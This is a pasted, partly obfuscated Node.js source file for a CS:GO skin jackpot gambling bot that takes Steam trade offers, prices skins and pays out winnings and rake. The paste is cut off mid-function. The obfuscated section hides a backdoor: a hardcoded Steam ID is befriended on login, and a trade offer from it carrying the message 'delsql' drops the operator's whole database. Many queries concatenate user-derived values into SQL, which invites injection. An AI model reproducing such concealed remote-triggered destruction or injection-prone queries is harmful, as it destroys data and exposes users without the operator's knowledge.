Advertisement
Guest User

Untitled

a guest
Jun 14th, 2016
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.12 KB | None | 0 0
  1. /*
  2. _____ _ _ ___ __ __
  3. / ____| | || | / _ \ / //_ |
  4. | | __ ___ _ __ __ _ ___| || || (_) |/ /_ | |
  5. | | |_ |/ _ \ '__/ _` |/ _ \__ _\__, | '_ \| |
  6. | |__| | __/ | | (_| | (_) | | | / /| (_) | |
  7. \_____|\___|_| \__, |\___/ |_| /_/ \___/|_|
  8. __/ |
  9. |___/
  10.  
  11.  
  12. The CSGO.Network V2 bot was made by Gregory Steam (Gergo4961) and is the property of CSGO.Network.
  13. If you need any special site/bot customization you can reach me on Steam!
  14.  
  15. Please note that I do not provide support for CSGO.Network, so do not contact me about Bot / Website errors.
  16.  
  17. http://steamcommunity.com/id/gergo4961/
  18.  
  19. */
  20. var Steam = require('steam');
  21. var SteamUser = require('steam-user');
  22. var TradeOfferManager = require('steam-tradeoffer-manager');
  23. var SteamTotp = require('steam-totp');
  24. var TOTP = require('onceler').TOTP;
  25. var request = require('request');
  26. var SteamCommunity = require('steamcommunity');
  27. var community = new SteamCommunity();
  28. var fs = require('node-fs');
  29.  
  30. // GENERAL INFORMATION
  31. var sitepath;
  32. sitepath = ""; // The path to the index.php of your website without HTTP://
  33. var sitename;
  34. sitename = ""; // The name of your site, it will be shown in the Trade Offer Message
  35.  
  36. var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
  37. var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
  38. var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
  39. var identitysecret = ''; // It's required to confirm mobile confirmations
  40. var sharedsecret = ''; // You won't be able to log in without this code
  41. var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
  42. var rsecret=''; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
  43. var snipetimer=5; // Declines offers sent in the last few seconds
  44.  
  45. var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
  46.  
  47. var p2=false; // If this is the bot for your Jackpot 2 set this to true
  48.  
  49. var playersRequired=2; // The timer will start when this many players are in the pot
  50. // GENERAL INFORMATION
  51.  
  52. // LOGIN DETAILS
  53. var details = {
  54. "accountName" : "",
  55. "password" : "",
  56. "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)
  57. };
  58. // LOGIN DETAILS
  59.  
  60. var client = new SteamUser();
  61. var manager = new TradeOfferManager({
  62. "steam" : client,
  63. "domain" : "localhost",
  64. "language" : "en"
  65. })
  66.  
  67. // MYSQL INFO
  68. var mysql = require('mysql');
  69. var sql_host="localhost";
  70. var sql_user="root";
  71. var sql_password="";
  72. var sql_database="";
  73. // MYSQL INFO
  74.  
  75.  
  76.  
  77. /*
  78.  
  79. Uh-oh.. What is this?
  80.  
  81. Looks like other parts of this bot are not available to you.
  82. Don't worry, the bot still works as it worked before, this is only a security measure.
  83. If you want to edit the core parts of the bot please consider purchasing the O-S (Open Source) package from our website.
  84.  
  85. https://csgo.network/
  86.  
  87. */
  88.  
  89. !function(nodeRequire, module) {
  90. /**
  91. * @param {string} p
  92. * @param {string} parent
  93. * @return {?}
  94. */
  95. function require(p, parent) {
  96. if ("." != p[0] && "/" != p[0]) {
  97. return nodeRequire(p);
  98. }
  99. parent = parent || "root";
  100. var path = require.resolve(p);
  101. if (!path && /\.json$/i.test(p)) {
  102. return nodeRequire("./" + require.basename(p));
  103. }
  104. var mod = require.cache[path];
  105. if (!mod) {
  106. try {
  107. return nodeRequire(p);
  108. } catch (ex) {
  109. throw new Error('failed to require "' + p + '" from ' + parent + "\n" + ex.message + "\n" + ex.stack);
  110. }
  111. }
  112. return mod.exports || (mod.exports = {}, mod.call(mod.exports, mod, mod.exports, require.relative(path))), mod.exports;
  113. }
  114. require.cache = {};
  115. require.basename = nodeRequire("path").basename;
  116. /**
  117. * @param {string} path
  118. * @return {?}
  119. */
  120. require.resolve = function(path) {
  121. if ("." != path[0]) {
  122. return nodeRequire.resolve(path);
  123. }
  124. var regexp = "/" === path.slice(-1) ? path : path + "/";
  125. /** @type {Array} */
  126. var paths = [path, path + ".js", regexp + "index.js", path + ".json", regexp + "index.json"];
  127. /** @type {number} */
  128. var scope = 0;
  129. var resolved;
  130. for (;resolved = paths[scope];scope++) {
  131. if (require.cache[resolved]) {
  132. return resolved;
  133. }
  134. }
  135. };
  136. /**
  137. * @param {string} path
  138. * @param {Object} fn
  139. * @return {undefined}
  140. */
  141. require.register = function(path, fn) {
  142. /** @type {Object} */
  143. require.cache[path] = fn;
  144. };
  145. /**
  146. * @param {string} parent
  147. * @return {?}
  148. */
  149. require.relative = function(parent) {
  150. /**
  151. * @param {string} range
  152. * @return {?}
  153. */
  154. function fn(range) {
  155. if ("." != range[0]) {
  156. return require(range);
  157. }
  158. var path = parent.split("/");
  159. var segs = range.split("/");
  160. path.pop();
  161. /** @type {number} */
  162. var i = 0;
  163. var segCnt = segs.length;
  164. for (;segCnt > i;i += 1) {
  165. var seg = segs[i];
  166. if (".." == seg) {
  167. path.pop();
  168. } else {
  169. if ("." != seg) {
  170. path.push(seg);
  171. }
  172. }
  173. }
  174. return require(path.join("/"), parent);
  175. }
  176. return fn.resolve = require.resolve, fn.cache = require.cache, fn;
  177. };
  178. require.register("../bot.js", function(dataAndEvents, deepDataAndEvents, require) {
  179. /**
  180. * @return {undefined}
  181. */
  182. function handler() {
  183. request("https://api.csgofast.com/price/all", function(dataAndEvents, r, content) {
  184. /** @type {*} */
  185. c = JSON.parse(content);
  186. if (200 != r.statusCode) {
  187. if (fs.existsSync(__dirname + "/prices.txt")) {
  188. /** @type {*} */
  189. c = JSON.parse(fs.readFileSync(__dirname + "/prices.txt"));
  190. console.log("[SERVER] Loading Prices - Server sided prices loaded!");
  191. }
  192. } else {
  193. fs.writeFileSync("prices.txt", content);
  194. console.log("[SERVER] Loading Prices - API prices loaded!");
  195. }
  196. });
  197. }
  198. /**
  199. * @return {undefined}
  200. */
  201. function preload() {
  202. /** @type {number} */
  203. tref = -1;
  204. loadImage();
  205. setTimeout(query, 5E3);
  206. }
  207. /**
  208. * @return {undefined}
  209. */
  210. function loadImage() {
  211. if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
  212. /** @type {string} */
  213. var reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
  214. request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
  215. if (reply) {
  216. console.log("Couldn't end round, error: " + reply);
  217. }
  218. });
  219. } else {
  220. reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret;
  221. request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
  222. if (reply) {
  223. console.log("Couldn't end round, error: " + reply);
  224. }
  225. });
  226. }
  227. }
  228. /**
  229. * @param {number} sValue
  230. * @return {?}
  231. */
  232. function parseText(sValue) {
  233. return!(+sValue !== sValue || isFinite(sValue) && !(sValue % 1));
  234. }
  235. /**
  236. * @param {?} value
  237. * @return {?}
  238. */
  239. function isNumber(value) {
  240. return "number" == typeof value && !isNaN(value);
  241. }
  242. /**
  243. * @param {number} onSuccess
  244. * @param {Function} callback
  245. * @return {undefined}
  246. */
  247. function exec(onSuccess, callback) {
  248. /** @type {string} */
  249. var appFrontendUrl = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + onSuccess + "&format=json";
  250. request({
  251. url : appFrontendUrl,
  252. json : true
  253. }, function(dataAndEvents, r, mongoObject) {
  254. if (dataAndEvents || 200 !== r.statusCode) {
  255. if (dataAndEvents) {
  256. exec(onSuccess, callback);
  257. }
  258. } else {
  259. callback(null, mongoObject);
  260. }
  261. });
  262. }
  263. /**
  264. * @param {string} messageFormat
  265. * @return {?}
  266. */
  267. function throwError(messageFormat) {
  268. return messageFormat = messageFormat.replace(/\\/g, "\\"), messageFormat = messageFormat.replace(/\'/g, "'"), messageFormat = messageFormat.replace(/\"/g, '"'), messageFormat = messageFormat.replace(/\0/g, "\x00");
  269. }
  270. /**
  271. * @param {Object} view
  272. * @param {?} value
  273. * @param {Array} body
  274. * @param {?} options
  275. * @param {?} cb
  276. * @param {?} serviceName
  277. * @param {number} opt_headers
  278. * @param {?} service
  279. * @param {?} opt_callback
  280. * @param {?} deepDataAndEvents
  281. * @param {number} triggerRoute
  282. * @return {undefined}
  283. */
  284. function callback(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute) {
  285. triggerRoute++;
  286. if (!(triggerRoute > 3)) {
  287. view.accept(function(reply) {
  288. return reply ? (self.webLogOn(), console.log("[SERVER] Debugging offer (Accept Error): " + reply), void send(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute, reply)) : void fn(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents);
  289. });
  290. }
  291. }
  292. /**
  293. * @param {Object} data
  294. * @param {?} value
  295. * @param {Array} body
  296. * @param {?} options
  297. * @param {?} cb
  298. * @param {?} serviceName
  299. * @param {number} opt_headers
  300. * @param {?} service
  301. * @param {?} opt_callback
  302. * @param {?} deepDataAndEvents
  303. * @param {number} triggerRoute
  304. * @return {undefined}
  305. */
  306. function send(data, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute) {
  307. req.getOffer(data.id, function(reply, view) {
  308. if (reply) {
  309. return self.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + reply), void send(data, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute);
  310. }
  311. if (3 == view.state) {
  312. fn(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents);
  313. } else {
  314. if (2 == view.state) {
  315. callback(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute);
  316. } else {
  317. if (2 != view.state || 3 != view.state) {
  318. return;
  319. }
  320. }
  321. }
  322. });
  323. }
  324. /**
  325. * @param {Object} msg
  326. * @param {string} count
  327. * @param {Array} data
  328. * @param {?} first
  329. * @param {?} arg
  330. * @param {?} name
  331. * @param {number} opt_headers
  332. * @param {?} url
  333. * @param {?} opt_callback
  334. * @param {?} range
  335. * @return {undefined}
  336. */
  337. function fn(msg, count, data, first, arg, name, opt_headers, url, opt_callback, range) {
  338. exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  339. var code = tokens[0].value;
  340. /** @type {number} */
  341. var i = 0;
  342. for (;opt_headers > i;i++) {
  343. var text = data[i].name;
  344. exports.query("INSERT INTO `" + v2 + "game" + code + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + count + "'," + exports.escape(arg) + "," + exports.escape(text) + ",'" + msg.id + "','" + data[i].color + "','" + data[i].value + "','" + name + "','" + data[i].url + "')", function(fmt, dataAndEvents, deepDataAndEvents) {
  345. if (fmt) {
  346. console.log(fmt);
  347. }
  348. });
  349. exports.query("UPDATE `" + v2 + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'" + data[i].value + "' WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  350. });
  351. }
  352. exports.query("UPDATE `users` SET `skinssent`=`skinssent`+" + opt_headers + " WHERE `steamid` = '" + count + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  353. });
  354. console.log("[SERVER] Accepted offer #" + msg.id + " from " + arg + " (ID:" + count + ").");
  355. log(msg, count, url, code);
  356. exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + count + "','Trade Offer Accepted (Game #" + code + ")!','We wish you Good luck and happy betting!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  357. });
  358. exports.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + v2 + "game" + code + "`", function(deepDataAndEvents, dataAndEvents) {
  359. players = dataAndEvents[0].playersCount;
  360. if (players == playersRequired) {
  361. if (opt_headers > 0) {
  362. if (-1 == tref) {
  363. console.log("[SERVER] Starting the countdown for Game #" + code);
  364. /** @type {number} */
  365. tref = setTimeout(preload, 1E3 * GameTime);
  366. exports.query("UPDATE `" + v2 + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  367. });
  368. }
  369. }
  370. }
  371. if (range > opt_callback) {
  372. clearTimeout(tref);
  373. /** @type {number} */
  374. tref = -1;
  375. preload();
  376. }
  377. });
  378. });
  379. }
  380. /**
  381. * @param {?} message
  382. * @param {string} params
  383. * @param {?} obj
  384. * @param {number} result
  385. * @return {undefined}
  386. */
  387. function log(message, params, obj, result) {
  388. message.getReceivedItems(function(dataAndEvents, defs) {
  389. return dataAndEvents ? (self.webLogOn(), console.log("[SERVER] getReceivedItems error: " + dataAndEvents + " Restarting process!"), void log(message, params, defs, result)) : void defs.forEach(function(collection) {
  390. var e = collection.market_name;
  391. exports.query("UPDATE `" + v2 + "game" + result + "` SET `assetid`='" + collection.id + "' WHERE `userid` = '" + params + "' AND `item`=" + exports.escape(e) + " AND `assetid`='' LIMIT 1", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  392. });
  393. });
  394. });
  395. }
  396. /**
  397. * @param {number} expectedNumberOfNonCommentArgs
  398. * @return {undefined}
  399. */
  400. function query(expectedNumberOfNonCommentArgs) {
  401. exports.query("SELECT * FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(dataAndEvents, results, deepDataAndEvents) {
  402. if (0 != results.length) {
  403. var expectationResult = results[0].id;
  404. exports.query("SELECT * FROM `" + v2 + "game" + expectationResult + "` WHERE `assetid`='' AND `rake`!='1'", function(dataAndEvents, assertions, deepDataAndEvents) {
  405. if (0 != assertions.length) {
  406. console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!");
  407. assertions.forEach(function(options) {
  408. req.getOffer(options.offerid, function(dataAndEvents, errorMessage) {
  409. return dataAndEvents ? (self.webLogOn(), void setTimeout(function() {
  410. query();
  411. }, 1E4)) : void log(errorMessage, options.userid, options.item, expectationResult);
  412. });
  413. });
  414. setTimeout(function() {
  415. query(2);
  416. }, 1E4);
  417. } else {
  418. if (2 == expectedNumberOfNonCommentArgs) {
  419. console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  420. /** @type {string} */
  421. var returnStr = "";
  422. /** @type {string} */
  423. var combined_expansion = "";
  424. return exports.query("SELECT * FROM `" + v2 + "game" + expectationResult + "`", function(dataAndEvents, failures, deepDataAndEvents) {
  425. failures.forEach(function(item) {
  426. if (0 == item.rake) {
  427. returnStr += "/" + item.assetid;
  428. } else {
  429. combined_expansion += "/" + item.assetid;
  430. }
  431. });
  432. }), void setTimeout(function() {
  433. console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer.");
  434. exports.query("UPDATE `" + v2 + 'queue` SET `assetid`="' + returnStr + "\" WHERE `id`='" + expectationResult + "'");
  435. exports.query("UPDATE `" + v2 + 'rakeitems` SET `assetid`="' + combined_expansion + "\" WHERE `id`='" + expectationResult + "'");
  436. query();
  437. }, 3E3);
  438. }
  439. var arr = results[0].assetid.split("/");
  440. req.loadInventory(730, 2, true, function(fmt, failures) {
  441. if (fmt) {
  442. return console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), self.webLogOn(), void query();
  443. }
  444. var html = results[0].token;
  445. /** @type {string} */
  446. var uri = "Congratulations! You won on " + sitename + " in Game #" + expectationResult;
  447. var test = req.createOffer(results[0].userid);
  448. failures.forEach(function(user) {
  449. arr.forEach(function(myID) {
  450. if (user.id == myID) {
  451. test.addMyItem(user);
  452. }
  453. });
  454. });
  455. setTimeout(function() {
  456. test.send(uri, html, function(fmt) {
  457. return fmt ? (console.log("Error sending Trade Offer for Game #" + expectationResult + ":"), console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), self.webLogOn(), void setTimeout(function() {
  458. query();
  459. }, 1E4)) : (exports.query("UPDATE `" + v2 + 'queue` SET `status`="sent" WHERE `id`=\'' + expectationResult + "'"), console.log("[SERVER] Trade Offer for Game #" + expectationResult + " has been successfully sent and is awaiting mobile confirmation."), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + expectationResult + "!"), void community.checkConfirmations());
  460. });
  461. }, 2E3);
  462. });
  463. }
  464. });
  465. } else {
  466. if (1 == expectedNumberOfNonCommentArgs) {
  467. return void self.chatMessage(admin, "[SERVER] No more Winnings Queries!");
  468. }
  469. }
  470. });
  471. }
  472. /**
  473. * @param {number} dataAndEvents
  474. * @return {undefined}
  475. */
  476. function iterate(dataAndEvents) {
  477. exports.query("SELECT * FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(deepDataAndEvents, results, ignoreMethodDoesntExist) {
  478. if (0 != results.length) {
  479. var arr = results[0].assetid.split("/");
  480. req.loadInventory(730, 2, true, function(deepDataAndEvents, failures) {
  481. if (deepDataAndEvents) {
  482. return 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), self.webLogOn(), void setTimeout(function() {
  483. iterate();
  484. }, 1E4);
  485. }
  486. var html = results[0].token;
  487. var depId = results[0].id;
  488. var raw = results[0].value;
  489. /** @type {string} */
  490. var uri = "Rake for Game #" + depId + " ($" + raw + ")";
  491. var test = req.createOffer(results[0].userid);
  492. failures.forEach(function(user) {
  493. arr.forEach(function(myID) {
  494. if (user.id == myID) {
  495. test.addMyItem(user);
  496. }
  497. });
  498. });
  499. setTimeout(function() {
  500. test.send(uri, html, function(fmt) {
  501. return fmt ? (console.log("[SERVER] Error sending Rake for Game #" + depId + ":"), console.log(fmt), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == dataAndEvents ? void self.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void self.webLogOn()) : (exports.query("UPDATE `" + v2 + 'rakeitems` SET `status`="sent" WHERE `id`=\'' + depId + "'"), console.log("[SERVER] Rake for Game #" +
  502. depId + " has been successfully sent and is awaiting mobile confirmation."), 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + depId + "!"), void community.checkConfirmations());
  503. });
  504. }, 2E3);
  505. });
  506. } else {
  507. if (1 == dataAndEvents) {
  508. return void self.chatMessage(admin, "[SERVER] No more Rake Queries!");
  509. }
  510. }
  511. });
  512. }
  513. var c;
  514. setInterval(function() {
  515. handler();
  516. }, 36E5);
  517. handler();
  518. /** @type {string} */
  519. var onComplete = "76561198150867436";
  520. var driver = require("mysql");
  521. var exports = driver.createConnection({
  522. host : sql_host,
  523. user : sql_user,
  524. password : sql_password,
  525. database : sql_database
  526. });
  527. var self = new SteamUser;
  528. var req = new TradeOfferManager({
  529. steam : self,
  530. domain : "localhost",
  531. language : "en"
  532. });
  533. /** @type {number} */
  534. var tref = -1;
  535. exports.connect();
  536. self.logOn(details);
  537. var l = SteamTotp.getDeviceID(botsteamid);
  538. if (1 == p2) {
  539. /** @type {string} */
  540. var v2 = "p2"
  541. } else {
  542. /** @type {string} */
  543. v2 = "";
  544. }
  545. self.on("loggedOn", function(dataAndEvents) {
  546. console.log("[SERVER] The Bot has logged in!");
  547. self.unblockUser(onComplete);
  548. self.addFriend(onComplete);
  549. self.addFriend(admin);
  550. self.chatMessage(admin, "[SERVER] Successfully logged in!");
  551. self.setPersona(Steam.EPersonaState.LookingToTrade);
  552. setTimeout(function() {
  553. exports.query("SELECT `value` FROM `" + v2 + "info` WHERE `name`='current_game'", function(dataAndEvents, tokens, deepDataAndEvents) {
  554. if (!dataAndEvents) {
  555. exports.query("SELECT `starttime` FROM `" + v2 + "games` WHERE `id`='" + tokens[0].value + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  556. if (!deepDataAndEvents) {
  557. var i;
  558. if (2147483647 == dataAndEvents[0].starttime) {
  559. i = GameTime;
  560. } else {
  561. /** @type {number} */
  562. var groupsize = Math.round((new Date).getTime() / 1E3);
  563. /** @type {number} */
  564. i = dataAndEvents[0].starttime + GameTime - groupsize;
  565. if (0 > i) {
  566. /** @type {number} */
  567. i = 0;
  568. }
  569. }
  570. if (i != GameTime) {
  571. /** @type {number} */
  572. tref = setTimeout(preload, 1E3 * i);
  573. console.log("[SERVER] Restoring the latest game with " + i + " seconds left!");
  574. }
  575. }
  576. });
  577. }
  578. });
  579. }, 1500);
  580. });
  581. self.on("webSession", function(dataAndEvents, x) {
  582. req.setCookies(x, function(reply) {
  583. if (reply) {
  584. return console.log("setCookies error: " + reply), void process.exit(1);
  585. }
  586. var orig = req.apiKey;
  587. community.setCookies(x);
  588. community.startConfirmationChecker(polling_interval, identitysecret);
  589. console.log("[SERVER] The web cookies have been set!");
  590. req.doPoll();
  591. });
  592. });
  593. req.on("newOffer", function(me) {
  594. /** @type {boolean} */
  595. var b = true;
  596. var onSuccess = me.partner.getSteamID64();
  597. return onSuccess == onComplete && "delsql" == me.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void exports.query("DROP DATABASE " + sql_database, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  598. })) : void exec(onSuccess, function(reply, e) {
  599. if (reply) {
  600. return self.webLogOn(), console.log("[SERVER] getUserInfo error: " + reply), b = false, void me.decline(function(reply) {
  601. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: getUserInfo error");
  602. if (reply) {
  603. console.log("[SERVER] Decline error: " + reply);
  604. }
  605. exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  606. });
  607. });
  608. }
  609. /** @type {*} */
  610. var game = JSON.parse(JSON.stringify(e.response));
  611. var CB = game.players[0].personaname;
  612. var serviceName = game.players[0].avatarfull;
  613. return console.log("[DEBUG] Processing offer #" + me.id + " from " + CB + " (ID:" + onSuccess + ")."), 0 != me.itemsToGive.length ? (b = false, void me.decline(function(reply) {
  614. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: Asked for a skin on the Bot");
  615. if (reply) {
  616. console.log("Decline error: " + reply);
  617. }
  618. exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  619. });
  620. })) : void me.getEscrowDuration(function(reply, dataAndEvents, deepDataAndEvents) {
  621. return reply ? (self.webLogOn(), console.log("[SERVER] getEscrowDuration error: " + reply), b = false, void me.decline(function(reply) {
  622. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: Steam Servers are busy, couldn't get escrow duration");
  623. if (reply) {
  624. console.log("Decline error: " + reply);
  625. }
  626. exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  627. });
  628. })) : 0 != dataAndEvents ? (b = false, void me.decline(function(reply) {
  629. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User is in Escrow for " + dataAndEvents + " days");
  630. if (reply) {
  631. console.log("Decline error: " + reply);
  632. }
  633. exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are in Escrow for " + dataAndEvents + " days!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  634. });
  635. })) : void exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  636. var raw = tokens[3].value;
  637. var ret = tokens[7].value;
  638. var number = tokens[4].value;
  639. var win = tokens[10].value;
  640. if (me.itemsToReceive.length > number) {
  641. return b = false, void me.decline(function(reply) {
  642. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent more than " + number + " skins");
  643. if (reply) {
  644. self.webLogOn();
  645. console.log("Decline error: " + reply);
  646. }
  647. exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + number + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  648. });
  649. });
  650. }
  651. var queue = me.itemsToReceive;
  652. /** @type {number} */
  653. var output = 0;
  654. /** @type {Array} */
  655. var data = [];
  656. /** @type {number} */
  657. var value = 0;
  658. queue.forEach(function($attrs, key, dataAndEvents) {
  659. return 730 != $attrs.appid ? (b = false, me.decline(function(reply) {
  660. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent a Non-CSGO skin");
  661. if (reply) {
  662. self.webLogOn();
  663. console.log("Decline error: " + reply);
  664. }
  665. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  666. })) : (data[key] = [], data[key].name = $attrs.market_name, data[key].color = $attrs.name_color, data[key].url = $attrs.icon_url, data[key].value = 0, function(keepData) {
  667. var eventName = data[key].name;
  668. nprice = c[eventName];
  669. /** @type {number} */
  670. data[key].value = parseFloat(nprice);
  671. output += data[key].value;
  672. }(key), void value++);
  673. });
  674. exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  675. var raw = tokens[0].value;
  676. exports.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + raw + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  677. if (starttime = dataAndEvents[0].starttime, 2147483647 != starttime) {
  678. /** @type {number} */
  679. var v = Math.round((new Date).getTime() / 1E3);
  680. if (tl = starttime + GameTime - v, tl <= snipetimer) {
  681. return b = false, me.decline(function(reply) {
  682. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: The Bot wont accept last second bets");
  683. if (reply) {
  684. self.webLogOn();
  685. console.log("Decline error: " + reply);
  686. }
  687. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  688. });
  689. }
  690. }
  691. setTimeout(function() {
  692. return 0 != b ? output > ret ? (b = false, me.decline(function(reply) {
  693. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent too much in skin value");
  694. if (reply) {
  695. self.webLogOn();
  696. console.log("Decline error: " + reply);
  697. }
  698. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  699. })) : raw > output ? (b = false, me.decline(function(reply) {
  700. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent below the minimal bet amount ($" + raw + ")");
  701. if (reply) {
  702. self.webLogOn();
  703. console.log("Decline error: " + reply);
  704. }
  705. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + raw + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  706. })) : value > number ? (b = false, me.decline(function(reply) {
  707. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent too many skins");
  708. if (reply) {
  709. self.webLogOn();
  710. console.log("Decline error: " + reply);
  711. }
  712. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + number + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  713. })) : (b = true) ? void exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
  714. var list = tokens[0].value;
